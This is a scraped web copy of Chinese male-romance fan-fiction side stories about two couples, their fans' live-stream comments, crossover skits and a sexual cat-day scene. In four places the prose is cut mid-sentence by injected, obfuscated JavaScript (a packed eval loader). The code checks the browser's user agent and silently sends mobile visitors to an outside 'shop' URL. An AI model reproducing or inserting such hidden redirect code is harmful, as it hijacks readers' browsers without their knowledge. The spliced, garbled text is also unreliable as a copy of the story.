“啧啧啧。”周自珩也走了过来,碰巧听到这一句,“能不能也惯惯我?” “我还不惯着你啊?就差摘星星了。”夏习清脸上的笑容变得甜蜜。 “摘啊倒是。”周自珩走过来揽住他的腰。 苏洄察觉到这一动作的要素。 0搂着1的腰? 夏习清瞥了他一眼,“现在上哪儿去给你弄星星。” 苏洄摒弃了脑袋里奇奇怪怪的念头,笑着对周自珩说,“你自己不就是大明星嘛。” “是哦。”周自珩被他的脑回路逗笑,“非常合理。” 展览结束后,夏习清带着他们来到一家私密性不错的餐厅吃饭,吃到一半的时候外面下了一小阵雪,苏洄忽然凑到宁一宵耳边,小声说了什么。 “我们失陪一会儿,很快回来。”宁一宵穿上大衣,带着苏洄下楼。 夏习清不明白发生了什么,望着两人离开。 “还没吃完就消食儿?”周自珩也有些奇怪。 拨开落地窗的纱帘,夏习清看到宁一宵和苏洄已经来到楼下。苏洄伸出手接小雪花,捧着给宁一宵看。 宁一宵神色柔和,伸手扯了扯苏洄的毛线帽。苏洄蹲下来,用手指在积了一小片雪的大理石地面上画出一个爱心,小心地写上两人名字的缩写。宁一宵则为他拍了照片,随即也蹲下来陪他。 “他们不是在北京上的学吗?”周自珩望着,略有不解,“怎么这么稀罕雪。” 夏习清手托着腮,语带笑意,“谁知道呢?可能就是喜欢吧。” “要不咱俩也下去玩会儿?”周自珩一把抓住夏习清的手。 “冷死了。”夏习清瞥了他一眼,“你是小孩儿啊?别人干什么你也要干什么,学人精。” “那不干了。”周自珩两手一摊,往脑后交叉一枕,身子也跟着后仰,悠然道,“回去干点儿别的。” “别的……”夏习清轻笑一声,不再看纯情已婚男的恋爱直播,扭过头,指尖勾了一下周自珩的下巴,“想干我啊。” 周自珩被他梗了一下,差点咳出来。 果然,一没别人夏习清就开始了。 “我……随口一说。” “周自珩,你可真不会撒谎啊。” 很快两人便带着一身雪夜气息回到包间,苏洄鼻尖都冻红了,坐下后宁一宵便拉过他的手,包在手掌里,在桌子下面给他暖手。 “北京是不是很久没有下大雪了,好小的雪花。”苏洄歪靠在宁一宵肩头。 周自珩点头,“是啊,我都快不记得上次下大雪是什么时候了。” 苏洄和宁一宵默契地对视了一眼,眼神温柔。 “是很久了。”宁一宵低声说。 离开餐厅的时候已经快十点,路上没什么人,四人走到不远处停车的地方分开,苏洄喝了点酒,走路有些浮,得靠宁一宵扶着。 他们到夏习清的车子前送别,苏洄晕晕乎乎,连方向都搞错,宁一宵从身后抱住他,把他包在自己的大衣里,又牵起他的手,对着驾驶座挥了挥。 “说再见。”宁一宵低声教他。 苏洄有些懵,“再见,再见习清,再见自珩……” 驾驶座的夏习清降下车窗,笑着冲他抛了个媚眼,“再见小可爱。” 尽管他们已经选择了私密性很好的地方,但还是被狗仔跟拍,视频第一时间传到了网上,两对CP都冲上了热搜,网友直接因为这两对的世纪联谊炸开了锅。 [呜呜呜这个画面也太养眼了,这四个人都好好看!] [这个视频我将永久珍藏,好配好配好配!] [习清还摸小洄的头,天哪太可爱了吧] [救命,背后抱也太有男友力了,扶着小手说再见真的好甜!] [自珩:我都裹得这么严实了还是被拍到了,自闭] [他哪里自闭了,看他笑得那个不值钱的样子,抓着xqgg的手都不带放的] 回国的路上,苏洄满足了粉丝想看直播的小小心愿,于是在出发去机场的时候临时开了直播。 “我可能就播到上飞机哦。” [啊又这么短!太短了不够看啦] [Eddy到底有多少帽子?] [这个毛茸茸的白帽子好可爱,真的像小猫一样!] [和习清约会吃了什么?] [小画家没有送你画吗?] “吃了烤鸭,特别特别好吃,我喜欢烤鸭皮蘸白糖!” “习清送了我他的画,他还说要给我画一幅油画呢。我也打算做一个关于玫瑰的装置艺术送给他,就永久收藏在Pulito美术馆,所以得抓紧回去工作了。” 苏洄穿着白色羽绒服,把自拍杆举高了一些,正坐在VIP卡座上处理工作的宁一宵也出现在镜头里。 “当当,某位工作狂。” [创始人私底下真的穿得很年轻啊] [卫衣配大衣,完全是男大学生()] [感谢小洄给我们看到那么多私底下的创始人!] [Eddy眼睛怎么红红的?] “眼睛?”苏洄读了这一条评论,然后凑近了镜头,检查自己的眼睛。 [啊美颜暴击!] “是有点儿红……因为我昨天晚上哭了。”苏洄眯了眯眼。 [哭……] [昨晚???] [Shaw,你小子……] [这不能怪我乱想了,是你们逼我的] 苏洄发现弹幕开始跑偏,立刻解释说,“不是的,是因为我昨晚看了一部电影,忠犬八公,好感人啊,我看到后面就一直掉眼泪。” 听到这句,镜头后方一直低头工作的宁一宵笑了一下,抬起头,手握拳放到眼睛边,明明还是冷着一张脸,却做出哭哭的动作。 [啊啊啊啊Shaw在学Eddy] [冷脸做这么可爱的动作真的甜死我了] 苏洄也发现了,扭头过去,假装厉色,“你不要学我。” 宁一宵仍旧低头盯着笔电屏幕,漫不经心地点了点头,像是知错了。 苏洄这才扭过脸,继续聊天。 没一会儿,镜头后方的宁一宵抬起脸,没出声,口型动了动,完全模仿了苏洄的表情。 [不要学我。] “宁一宵!” 宁一宵抬起一只手。 “Yes sir.” [看什么忠犬八公啊,这不就是忠犬小宁吗呜呜呜] 苏洄被他这突如其来的一句弄得差点忘了要说什么。 “你……再学我就生气了。” 宁一宵低头,嘴角抿着笑意。 “嗯,知道了。” [幼稚创始人:下次还敢。] 18. 觉夏染发小剧场 新专辑策划中期,光是造型的会就开了两三轮,试了好几次,总算定下新发色。 裴听颂自从染过一次白金发,痛苦不堪,此生不想再漂头发,羌哥磨破了嘴皮子还是坚决不漂,死活染回了黑发。 程羌没辙,“行吧,反正觉夏要漂头发,既然你不漂,那你弄完先回去吧。” 听完羌哥这句,裴听颂猛地一激灵,“觉夏要漂头发?” “是啊,造型师试了几次,觉得浅亚麻金很适合他,觉夏也同意了,你以为人人都像你啊,这不行那不行的……” 还没唠叨完,裴听颂就跑了。 一闯进造型室,裴听颂便直接喊了“觉夏”,刚出口第一眼就看到了坐在角落镜子前打瞌睡的方觉夏,于是脱口的第二声“觉夏”便立刻小到几乎听不见,生怕吵醒了他。 造型师抿着嘴笑,小声问,“小裴,你怎么过来了?” “我来找觉夏。” 裴听颂眼睛全然盯着歪靠在椅子上睡着的方觉夏,见他头发已经褪了第一遍色,脑袋上夹着小夹子,可爱极了,忍不住拍了张照片。 “还要多久?”裴听颂盯着照片低声询问。 “早着呢,和你上次差不多吧。”造型师检查发根,“你们最近练习强度也真够大的,刚坐下没多久就睡着了,我头一次见人睡觉这么安静的,动都不动。” “他睡觉就是特乖。”裴听颂下意识就脱口而出,还脱了外套披在方觉夏身上。 造型师乐了,“说得跟你天天跟他睡一块儿似的。” 裴听颂这才意识到,立刻找补,“我、我是说他一累了哪儿都能睡。” “行了,我去看看凌一,他也漂着呢,你自己玩会儿。” 人一走,裴听颂就把手伸到外套下面,握住了方觉夏的手。 这样都不醒。 方觉夏醒来的时候,外面已经天黑了。他完全没料到自己会睡这么久,第一反应是脖子肯定动不了了,没想到一抬头,发现自己脖子上多了个U型睡枕。 “醒了?”造型师笑了笑,拿起吹风机,“正好,洗洗给你吹干。” 方觉夏睡得有些懵,只好跟着造型师起身,等吹头发才发现,自己身上盖着裴听颂的外套。 “小裴……来过?”他抬眼问。 “是啊,他刚刚出去了,说一会儿回。” 方觉夏盯着裴听颂的外套发了会儿呆,头发吹好了,造型室的门也被推开。 “说曹操曹操到啊。” 方觉夏一扭头,见小裴手里拎着一大堆外卖食物。和他对视的瞬间,裴听颂整个人一愣。 正好凌一下楼,“裴小六,你是被人点穴了吗?买了这么多好吃的,快让我看看有什么!有炸鸡吗!” 裴听颂这才回过神,高高举起手,边说边往方觉夏身边走,“边儿去,你要减肥,这都和你没关系。” “小裴。”方觉夏声音很轻,眼睛里流露出笑意,在裴听颂走进后,轻轻拉住他的衣摆,“什么时候来的?我睡了好久。” 他天生肤色白,五官偏冷,染了金发竟平添出几分圣洁的氛围,比裴听颂想象中还要漂亮。 “也没多久。”裴听颂清了清嗓子,没继续盯着看,把点的广式茶点一一摆开来,“我怕你饿,就出去买了点吃的。” “是不是又是那家不送外卖只能自提的酒楼!” “没你的事,别想了!” 凌一凑过来假哭,看到方觉夏新造型也是一愣,“好好看啊……觉夏你好适合这个发色,白得可以当反光板了。” “这要是在室外,阳光一照更漂亮。”造型师忍不住开始设想,“再卷一下,绝对像天使一样。” 裴听颂脑补了一下,感觉自己心都化了。 方觉夏被夸得不自在,赶紧岔开话题让大家吃东西,这才把关注点从自己身上绕开。 吃宵夜的时候,造型师再三强调,千万要做好发色保密工作,不管是日常练习还是直播。 方觉夏点了点头,可真等到快离开造型工作室大门才突然意识到—— “怎么办?我没戴帽子。” 凌一也染了发,“我只有一顶诶。” 裴听颂也没戴。 方觉夏打算折返,“要不我上去管造型师借一个。” 但他的手被裴听颂拖住,“他都走了,你忘了啊?” “我有个办法。”裴听颂笑着说。 凌一好奇是什么好办法,毕竟外面不少蹲点的粉丝,就这样闯出去,新染的发色肯定就曝光了。 没想到裴听颂真虎到直接“闯”出去。 只不过是用自己的外套整个蒙住了方觉夏的头,搂着他闯出去的。 “不愧是你……” 裴听颂一只手搂着方觉夏的肩,另一只手挡开外面围攻的粉丝,嘴里重复着“让一让,借过。” 人群里有粉丝猜测被捂住头的人是哪个成员,光凭身高和露出的手,猜的八九不离十,于是试探性开口,“觉夏?” 没想到被搂住的人竟真的抬起一只手,挥了挥。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727026|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这下粉丝沸腾了。 “啊啊啊真的是觉夏,救命救命!” “挥手可爱死了!漂亮宝贝妈妈爱你!” “听觉鲨疯了……” 一直到上车,关上车门,方觉夏才松了口气,尽管车上的防窥膜效果很好,但还是不敢把外套放下来。 “司机去买水了,一会儿来,让我们等等。” 凌一说完,低头打开手机,“我先玩一盘游戏。” “哦……” 方觉夏正考虑要不要拿下外套,谁知衣摆忽然被掀开,裴听颂竟然大着胆子凑近,毫无顾及地吻了上来。 “唔……” 方觉夏的心猛地跳了跳,下意识想推,却反被裴听颂捉住了手,紧紧攥住。 一个很短促、但又很深的吻。 退出时,裴听颂拿下了方觉夏头顶的外套,理了理被弄乱的金发,压低声音说,“真好看。” 方觉夏的心仍旧跳得飞快,忍不住锤了裴听颂的胸口,压低声音,还带着点喘意,“你疯了吗?” 裴听颂捂住了心口,点点头,小声说,“被漂亮疯了。” 前头的凌一摘下一只耳机,“你说什么?什么风?” 方觉夏立刻遮掩,“没什么,外面好像起风了。” “是哦。”凌一又戴上耳机,“我继续玩啦,这一把一个人头都没有……” 裴听颂故意小声逗他,“我今天可真成导盲犬了,不仅没有奖励,还被打了一拳。” 方觉夏抿着嘴,很没底气地放了狠话,“小心我再给你一拳……” “来吧哥哥。”裴听颂很不要脸地张开双臂,“你这么漂亮,做什么都行。” 方觉夏拿他没办法,只好掐了他的脸,“闭嘴,不许再说了。” “好好好,都听你的。” 脸皮真薄。 他们和贺子炎前后脚回宿舍,在客厅围着觉夏的新发色唠了半天。贺子炎坐在沙发上找手机,还奇怪怎么自己手机停留在拍照页面。 从拍照页面直接点进相册,发现里面竟然清一色的方觉夏照片,各种角度醒着睡着应有尽有。 他脑子一懵,突然发现自己拿错了手机。 该死,真不该白嫖裴听颂的手机壳,搞错好几次了。 “小裴……” “啊?”裴听颂正揽着方觉夏在厨房陪他煮糖水,听了贺子炎的声音才回头。 贺子炎一脸无语,手指点了点脑袋,对他做了个口型。 [收收你的恋爱脑吧。] 19. 补档[悬日]小猫陪护指南和小狗安抚指南 《伤心小猫陪护指南》 【作者:宁一宵】 1、刚进入郁期的当下,需要很亲密的抱抱,陪他说话,必要时带上雪糕一起(毕竟是真正的疗愈犬) 2、过渡期时,多肯定他存在的价值,多使用“谢谢你”这样的表达,但不必多加夸赞(会让他陷入更深的自我怀疑) 同时,一点点教他接受他人的夸赞(“当别人夸你的时候,你觉得自己不够好,不值得被夸赞,可以把“我不好”改成“谢谢你”,知道了吗?”) 3、陪小猫冥想和吃药,多买甜食,给他做完美的鸡蛋羹,鼓励他想哭就哭(在他大哭的时候不要阻拦他,给他擦眼泪,敷眼睛,哭多了会脱水,多准备水),鼓励他想睡觉就睡觉,陪伴他去做咨询。 4、陪小猫画画和看小猫画过的画(“我想再看一次你的画册,可以吗?那个全是我的画册,我很喜欢”) 5、有效经验:把苏洄带去花园,帮他浇花,让他在旁边的小秋千上等待(这样可以让他多晒太阳,并且喷水阀浇水时可以让他看到“人造彩虹”) 6、带着苏洄出门遛狗(必要时让雪糕上场拖拽),给他买冰淇淋(但这种时期他不喜欢被狗仔拍到,尽量走人少的路,给他戴好帽子口罩,如果发现狗仔,想办法用自己挡住小猫) 7、陪他在小树林里捡落叶,认真评价他捡回家的好看叶子(“这个最好看,像蝴蝶,你要给我做书签吗?”) 8、尝试亲他的脸,和他接吻(通常来说多问几次就会愿意,“我可以亲你吗?”,但是动作要温柔,最好是亲一会儿给他休息一下(小猫经常忘记换气) 【就算他换气了也要亲一下停一下,多来几次他会觉得不太够,慢慢变得主动,这样就可以开始转而吻侧颈,循序渐进】 9、可以带他出去度假,换个环境,带他吃他之前说过很想吃的东西,去看他想看的风景,或者之前期待过的音乐会,这样他努力去完成和打卡之后,会产生成就感(还可以谢谢他,“这个很好吃/很美/很精彩,还好你说过想来,不然我自己是不会来的”) 10、一个有效的事实:给苏洄在家里的办公室安排一个懒人沙发(猫窝),就放在自己身边,他如果不想抱就可以待在旁边,想抱的话他自己会过来,总之安安静静待着也要在同一个空间,这样他会有安全感 11、根据经验,这种时期苏洄会比较喜欢用蹭的方式表示喜欢(不会有很多亲和主动拥抱,但会在怀里时用额头蹭锁骨或者手),虽然默不作声,但是会在书桌上放一些小礼物(比如一些漂亮的花、叶子、甚至是他在小树林拍到的松鼠拍立得),给悄悄擦护手霜,要多对小猫的爱和关心表示感谢。 12、多多摸他的头,给他梳头发,扎头发,抵着他的额头蹭蹭鼻尖,多对他笑(长得太冷了,不笑的时候会给他或多或少的压力) 13、时刻记住,苏洄是爱我的,和他的病没有关系,他最难过的时候也努力表达“我不会离开你。”不可以质疑小猫的爱,也要多对小猫说“永远”(尽管永远这个词本身不现实) 14、承认吧,小猫不开心时也有他的可爱,什么样都很可爱。 —————— 《敏感小狗安抚指南》 【作者:苏洄】 1、永远都只看向宁一宵一个人,对除他以外的人通通屏蔽,正面拒绝?(小狗吃醋是没有安全感的表现,并不是小狗心眼小,他是世界上最好最好的人) 2、在宁一宵工作忙碌的时候耐心等待他回家,状态好的时候多去公司接他,给他做爱心便当(其实他很喜欢我去公司找他,虽然他表面上不说,但是每次去他心情都会变好) 3、在宁一宵压力大的时候陪着他,就算他在游泳,也可以在旁边等着他或者套着泳圈陪他一起泡在水里(虽然看上去有点笨) 主动蹭蹭亲亲,接吻和拥抱可以缓解压力(换上小狗喜欢的舌钉,上次提到乳钉他耳朵红了,感觉他会很喜欢,可以尝试一下) 4、每天都要亲吻宁一宵的伤疤(因为小狗会因为身上的疤不自信,虽然我真的觉得很酷很帅气,这些都是他生命力顽强的证据?)多对他说“谢谢”和“爱你”(“是因为你我才能坚持下来,所以很谢谢你,很喜欢你”) 5、在宁一宵事业获得成功时要大力夸赞他,因为他真的很辛苦,多陪他深入地聊天,肯定他的贡献和决策的正确性? 6、和他约定很多事,一起讨论待做清单(因为puppy喜欢履行约定,在待做清单后面打勾会给他成就感,成功会让他暂时消除虚无带来的消极情绪)和他约会要遵守时间观念(很重要) 7、每天宁一宵出门前都要亲吻,如果他在家办公就陪着他,就算不说话,在同一个空间他也会很满足,如果他表现出对某个昵称的偏爱,就要多叫他(比如“老公”,偶尔也可以当着所有人的面大声叫!虽然他会害羞但是也会开心) 8、遇到下雨天和阴天,要给小狗的腿和膝盖按摩,接很多吻分散他的注意力,有时候他不舒服会强行硬撑着(小狗的自尊心真的很高,不承认自己不舒服),这种时候就要用撒娇来达成目的(“我想要,可以做吗?还要亲,一宵你看着我嘛”) 9、要尽量保证宁一宵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727027|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作环境的整洁,尤其是他的书房,弄乱之后小狗会烦躁(但他从来不发脾气),不可以让他焦虑哦(他焦虑的时候可以陪他一起拼??) 10、独自外出时要时刻给宁一宵报备,因为工作暂时分开要每天打电话或者视频(因为小狗其实真的很粘人,他不怕被打扰工作,怕我不联系他,而且他还不会说出来) 11、趁着开心的状态经常逗他(虽然一宵长得一本正经但其实很喜欢被逗),什么角色扮演啦,什么时间梗啦,都可以用上,主动出击才能俘获小狗的心? 12、多多在公开平台表达对他的爱(比如社交网络啦,直播啦,采访啦),因为宁一宵希望全世界都知道我是他一个人的(可爱puppy!!!) 13、每年都要给宁一宵做漂亮的艺术品?宁一宵永远都是我每一场艺术展的头号观众和唯一的vip(拥有提前观展和全程陪看展的权利,虽然他骗了我(“骗子小狗?”)) 14、尊重他的恐惧,尽量不让他开车(在后座上还可以靠他的肩膀牵他的手,把窗户打开和他一起看街景) 如果他很执拗地想自己开车,或者把司机支走,一般来说是想car sex,那就满足小狗的心愿!(并且不可以让他发现我看出来了,这样会减少他的成就感) 15、多穿宁一宵的衣服,喷他用的香水,让他亲亲随便留痕迹,满足他的“标记领地意识”!! 16、尽量克制自己的情绪,躁期不要吵他睡觉(平时工作就很累很累了),低落的时候更不要影响到他的情绪 就算说不出话也要尽量用行动表达对他的爱(比如摸摸他的脸,送他花和小礼物,给他画画,给他写信) 如果可以说话的话,郁期也要努力对他说“我爱你”和“我不会离开你的”(因为宁一宵讨厌被抛弃,绝对不可以抛弃小狗) 17、宁一宵想怎么做?都没关系,明确表示喜欢他的控制欲(反正他连用力打一下都舍不得,而且真的很珍惜我) 18、下雪天绝对不可以让他落单,就算他在外面出差也要飞去陪他看雪?? 19、每一年的生日都要给宁一宵准备惊喜,陪他过新年,在他想念妈妈的时候给他煮元宵吃,陪他去海边散步(虽然他肯定不会表现出来,但是每次他想妈妈的时候都会对着大海发呆) 20、真实的宁一宵比幻觉好一万倍,要努力治病,坚持下去,争取变得更健康,陪伴他度过长长的人生(现实世界很残酷,舍不得留他一个人) 21、每天睡前都要给宁一宵祈祷——希望他健康快乐,前途光明,永远永远和我在一起? 20. [补档]悬日x卡团的小剧场 一洄和卡团的会面 一洄来看卡莱多美国巡演,宁一宵买的vvvip座位,结束之后卡莱多在小裴家开派对,宁一宵和苏洄以邻居身份被邀请 小洄:你们好(略带尴尬但乖巧) 卡莱多:你好你好你好你好你好…… 小裴:这就是住我隔壁那个,上次我跟你们说过的,装置艺术家,还是个模特,特厉害一哥哥!(拉过觉夏对小洄炫耀)你看,就这个,我和你说过的!(疯狂暗示小洄) 二火:就那个学生嗑咱俩cp的是吧,苏老师好!苏老师吃嘛嘛香记得和你学生讲我在那个cp里得是攻!我雷互攻的啊你记得帮忙传达一下 一一:yue!什么邪门cp啊我想想你俩亲嘴儿我就做噩梦,(握住苏洄的手),你长得可真好看啊,我可以去看你的艺术展吗我真的特别喜欢艺术!(更喜欢长得漂亮的小哥哥) 圆圆:哎不是,我怎么不知道你喜欢艺术?你不是艺术荒漠吗一一,怎么还搁这儿装起来了呢?都自家人这就没必要了哈 (火火插嘴:如果摇花手也是艺术,一一就是鉴赏大师了) (一一:我要打人了!!) 觉夏:你好,我叫方觉夏,之前我在网上有看到你的艺术作品,真的很厉害(漂亮宝贝专属真诚脸) 淼淼:(努力控场)你别紧张,他们就是比较活泼(微笑)我可以叫你小洄吗?我们应该差不多大,(看向宁一宵)旁边这位……应该是你男朋友吧?(熟悉的手拿剧本模式) 宁一宵:我是他爱人(冷淡且直接) 全程插不上嘴的小洄:(点头,展示戒指表示已婚) —————— 关于躁期小洄的一些社交悍匪行为: 约好要在宁一宵下班之后去吃晚餐,苏洄特意去公司接他 [小猫:我要到了哦] [puppy:好的,我还有十五分钟。] [puppy:上次说什么来着?] [小猫:老公,我要到了哦?] [puppy:?] 但半小时后,宁一宵也没有等到小猫上楼,于是问卡尔,卡尔给楼下前台打电话,随即很尴尬地对宁一宵说:Shaw,要不你自己下去接他吧?他正在二楼聊天呢 下楼后,宁一宵从电梯里出来,一眼就看到苏洄站在研发部的一群同事中间,被围了起来,大家又是给小零食又是陪他唠嗑的,还有实习生和他交流办公室养盆栽的经验。 “这个阳光不够的,你要把它拿到窗户边上,放过来……” 苏洄端着两盆小绿植,一扭头就看到了宁一宵,脑子一转。 既然你这么喜欢。 苏洄直接大喊。 “老公——” 超大声。 宁一宵一愣。 不是让你在这种时候喊…… 研发部的一些华人程序员已经快憋不住笑了(毕竟不是特种兵) 其他的人都愣住,然后小声交头接耳。 苏洄放了绿植立刻跑过来,正伸手要抱,被宁一宵握住两只手腕,他越过苏洄的视线,对其他人露出一个核善的微笑,“下班了,回家休息吧。” 苏洄突然发现他耳朵红了,完全是一大奇景,于是忍不住伸手捏了捏。 宁一宵没来得及躲,清了清嗓子,捉了他的手就往电梯走。 电梯门合上,苏洄笑了,“宁一宵,你脖子也红了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727028|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >踮起脚亲了亲。 宁一宵:一时间竟然不知道该说什么(捂住了苏洄的嘴) “你害羞了!”苏洄立刻戳穿。 “没有。”光速反驳。 “有!” “我只是很热。” “空调明明开得很低!” 宁一宵盯了他一眼,“别吃饭了,直接回家。” 苏洄盯了一秒,“你想欺负我,我才不上当。” “真聪明。”宁一宵顿了顿,直接按了上行键,“那就绑架。” 在老板走后,研发部爆发出此起彼伏的猴叫。 “Shaw也有今天!” “啊没眼看了,我迟早被上司的糖淹没” “先发到网上去,不能只有我一个人磕到” …… 卡尔(在八卦人群中美美喝茶):一物降一物啊~ 小洄(社交悍匪版)遇到卡团 ——宁一宵做梦脑子都嗡嗡的(吵到灵魂出窍) ——觉夏发现原来插不上嘴的人是自己(苦笑) ——江淼微笑营业但内心已经开始点烟(原来这孩子还有两副面孔) ——贺子炎:我可太喜欢听他说话了,说我惦记小队长一下子戳中了我的心巴 ——路远:妈呀怎么这么能聊,这天南海北的一下子就学会了我的海蛎子味儿 ——凌一(其实全程都在对着苏洄的脸发呆,被舌钉迷晕):你长得真好看啊,你一直这么好看吗?你好瘦啊,小洄你平时减肥吗? ——小洄:第一次有精力可以消耗完的感觉!好开心呀我要申请加入你们的所有聚会! ——小裴:好好好,你来了我就不是唯一一个游戏黑洞了() 21. [补档]悬日小剧场(国际小猫日&春节) 国际小猫日小剧场 宁一宵回到家中,手里提了一个很大的蛋糕,放在餐桌上。 苏洄听到动静从房间里出来,脚步很轻走到餐厅,手撑在桌面,低头凑上去,想透过包装盒看里面是什么口味的蛋糕。 他好奇问,“为什么要买蛋糕啊?” 宁一宵没回答,解了领带,把戴着手套的手伸过去,凑到苏洄嘴边。 苏洄很自然而然地张嘴,牙齿咬住了指尖,将手套拽了下来。 宁一宵见他对蛋糕很好奇,于是打开了盒子,里面是一个漂亮的巧克力樱桃朗姆酒蛋糕。 苏洄低头闻了闻,用手拎起一颗酒渍樱桃,丢到嘴里,咬出甜蜜的汁液,凑过去,搂住宁一宵的脖子,做出要亲他的架势。 宁一宵故意退了退,“自己吃。” 苏洄摇头,闭着嘴发出“不要”的声音,硬是要踮起脚贴上来吻他,最后还是如愿以偿地让宁一宵也吃到了樱桃。只不过越吻越深,自己也差点被生吞,牙齿和舌钉胶着地碰出暧昧的声响。蛋糕没好好吃几口,奶油全被抹在苏洄身上,然后被宁一宵舔掉。 躺在冰凉的中岛,苏洄张着嘴喘气,胸膛起伏得厉害,他的舌钉和脐钉都被拆了,被宁一宵随手扔进一旁的玻璃果盘里,什么都被吃得干干净净,就差一张皮没被活剥下来。 结束后,苏洄还想躺着,但被宁一宵抱到了沙发上。他缓不过劲,没力气动,还觉得饿,于是使唤宁一宵,“给我切一块蛋糕,我好饿。” 宁一宵照做了,走过去给他切了很大一块,并强行要喂。 “我自己吃。” “你不是没力气吗?刚刚就说不行了。”宁一宵说,“吃吧。” 苏洄脸一下子红了,小声辩解,“我说不行了又不是我没有自理能力了……” 但宁一宵的勺子完全不打算收走。 没办法,苏洄只好张嘴,抿了一口,舔舔嘴唇,又问一遍:“今天什么日子,为什么买蛋糕啊?” 宁一宵用这张冷淡的脸,和极度平静的语气,给出一个令苏洄几乎要翻白眼的答案。 “今天是国际小猫日。” 说完,他用最怕脏的手指沾了奶油,一本正经地在苏洄脸上画胡须。 “节日快乐,小猫。” —————— 春节小剧场 第二年春节,宁一宵苏洄和景明、贝拉、克洛伊一起去了纽约唐人街,故地重游。 苏洄被宁一宵拽着,把他的手放进自己的口袋,两个人被人群挤来挤去,还是黏在一起,景明不知道从哪儿找来了一个彩带炮竹,冲两人一拉,彩带糊了他们一脸。 宁一宵冷着脸,“你是不是哪里有问题?” 景明立刻找苏洄求救,“大过年的快帮帮我!” 苏洄笑着,踮脚帮宁一宵摘头上的彩带,顺带着揉了揉他的头发。 “你们俩每次出门都穿得好搭啊。”贝拉翻了职业病,“别告诉我出门之前还花半小时搭衣服,这也太不宁一宵了。” 苏洄摇头,“没有,我们就随便穿的。” 每次都刚刚好穿得很相似。 克洛伊笑着卖弄了刚学的一句成语,“这就是心有灵犀吧” 他们再一次路过那家卖老婆饼的店面,几个人一起排队,商量着吃什么,人不多,很快就排到他们。 卖饼的阿姨竟然一眼就认出苏洄,还有他身后的宁一宵,于是用粤语热情地打了招呼,“是你们,上次来买老婆饼的,新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727029|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年好啊!” 苏洄只听懂最后一句,于是用英语对她说新年好。 没想到阿姨直接用英文问,“上次你后面那个帅哥说给你买老婆饼,我还送了你们红豆糕,好吃吧?” 她眼尖,一下子就看到苏洄手上的戒指。 “哎呀,你吃了他的老婆饼,真的变成他老婆啦!” “什么?” 什么老婆? 苏洄晕晕乎乎,脸一下子就红了,不知道该说什么,下意识为自己辩驳,“……我就吃了一口。” 阿姨一边装饼一边逗他,“一口也不行,吃一口也要当他的老婆。” 景明在后头笑得乐不可支,“阿姨太上道了!” 苏洄接过阿姨给的饼,扭头瞪了宁一宵一眼。 “所以你之前是骗我的。” 宁一宵非常坦诚,毫无悔意,“我不是当时就承认了,是骗你了。” 苏洄有些急:“但是你没告诉我阿姨说的话啊。” 宁一宵两手揣在大衣口袋里,“前男友前一晚喝醉了勾引我,第二天翻脸不认人,让我忘了发生过什么,但是又同意陪我逛唐人街过年,给我买元宵,又不戴我给的手套,还要冲我撒娇让我买老婆饼,阿姨开我和我前男友玩笑,我还得对着前男友承认说是我想送给我名不正言不顺的老婆,是吗?推拉小猫。” 苏洄差点打寒颤。 这个人的攻击性真可怕。 “谁是你前男友……” “是啊,谁是我前男友呢?” 宁一宵学完舌,又一本正经,“谁能帮我找到我前男友啊,替我转告他,记得选一下我们婚礼的伴手礼,不要再拖延了。” 苏洄捂住耳朵,“好啦好啦,别催我了。” 22. [补档]人设x过敏原xbe小剧场 ·高中生篮球场小剧场: 同世界观团建活动高三某个假期 夏知许约宋煜打篮球,宋煜到了之后看见许其琛在,点头打了个招呼。 许其琛也点了点头,抬眼发现宋煜身后十米开外跟着一个鬼鬼祟祟的身影,但他什么都没说,只微微笑了笑。 球场上又来了三个不认识的男生,对方提出三对三,夏知许夹着篮球阳光一笑,“可以啊。”刚说话就打自己的脸,“哦不行,我们差一个。” 宋煜扭头看向一旁的许其琛,一脸“这不是人?”的表情,许其琛还没来得及开口,夏知许就解释,“他不行,他低血糖身体不好,不能剧烈运动。” 许其琛看了看宋煜,又望向不远处,假装偶然发现对面树后头躲着的人,“那不会是乐乐吧? ” 